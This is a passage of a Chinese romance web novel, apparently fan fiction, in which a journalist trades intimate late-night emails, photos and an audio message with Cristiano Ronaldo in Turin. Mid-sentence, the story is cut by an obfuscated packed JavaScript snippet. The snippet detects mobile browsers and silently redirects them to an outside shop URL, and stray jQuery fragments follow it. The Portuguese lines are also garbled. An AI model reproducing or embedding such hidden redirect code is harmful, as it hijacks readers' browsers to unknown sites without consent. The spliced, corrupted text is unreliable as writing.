我跟上了。但跟上之后呢？这种危险的亲密感，该如何安放？”

    深夜，她收到托马西的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16955427|193116||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    邮件。例行通知明天公开训练取消，改为战术分析课。邮件末尾附注：“Ronaldo先生问你是否需要上周训练的高清照片，他可以让摄影师提供。”

    这不是官方该有的服务。她回复：“谢谢，我有足够的素材。”

    一分钟后，新邮件。发件人地址是。主题空白，正文只有葡萄牙语：

    “As fotos da prova。”（测试的照片。）

    附件是五张照片，从球场角度拍摄的射门瞬间。球在画面中央，背景是露台和她模糊的身影。每张照片的EXIF信息显示，拍摄时间与她连拍完全同步。

    他不仅测试了她的技术，还安排了另一个机位，记录这次测试本身。

    苏晚栀把两张照片并置。从露台看下去的他，从球场看上去的她。足球连接两个空间，黄昏笼罩两个视角。

    她回复：“Porque é que partilha istoigo?”（为什么和我分享这些？）

    这次没有立即回复。她等到凌晨一点，准备关机时，新邮件到达。没有文字，只有一个音频附件。

    点开，是葡萄牙语旁白，配着轻柔的吉他声。克里斯蒂亚诺的声音，但比采访中低沉松弛：

    “...时间是个狡猾的小偷。它偷走你的速度，你的弹跳，你二十岁时的膝盖。但你得学会偷回来。用经验偷走年轻人的莽撞，用智慧偷走体能的不足。每个黄昏，当我在空荡的球场加练时，我都在和时间谈判。‘再给我一年，’我说，‘我会让它值得。’”

    音频背景里有球撞击门柱的声音。然后是他喘着气的轻笑：

    “今天，有人在场边。用镜头记录这次谈判。突然觉得，也许时间不是小偷，而是共犯，它带走了些什么，却带来了另一些。”

    音频结束。苏晚栀反复听最后一句。带来了另一些，指什么？她的存在？

    她打开回复框，手指悬停。该说什么？专业记者的感谢？球迷的激动？还是用同样私密的语言，回应这场危险的对话？

    最终她只写下一句：

    “Anh?? ao anoitecer, estarei lá.”（明天黄昏，我依旧会在那里。）

    发送，关机。

    房间陷入黑暗，但视网膜上还残留着球划过黄昏的轨迹。

    都灵的夜晚很深。但有些东西，在黑暗中刚刚开始发光。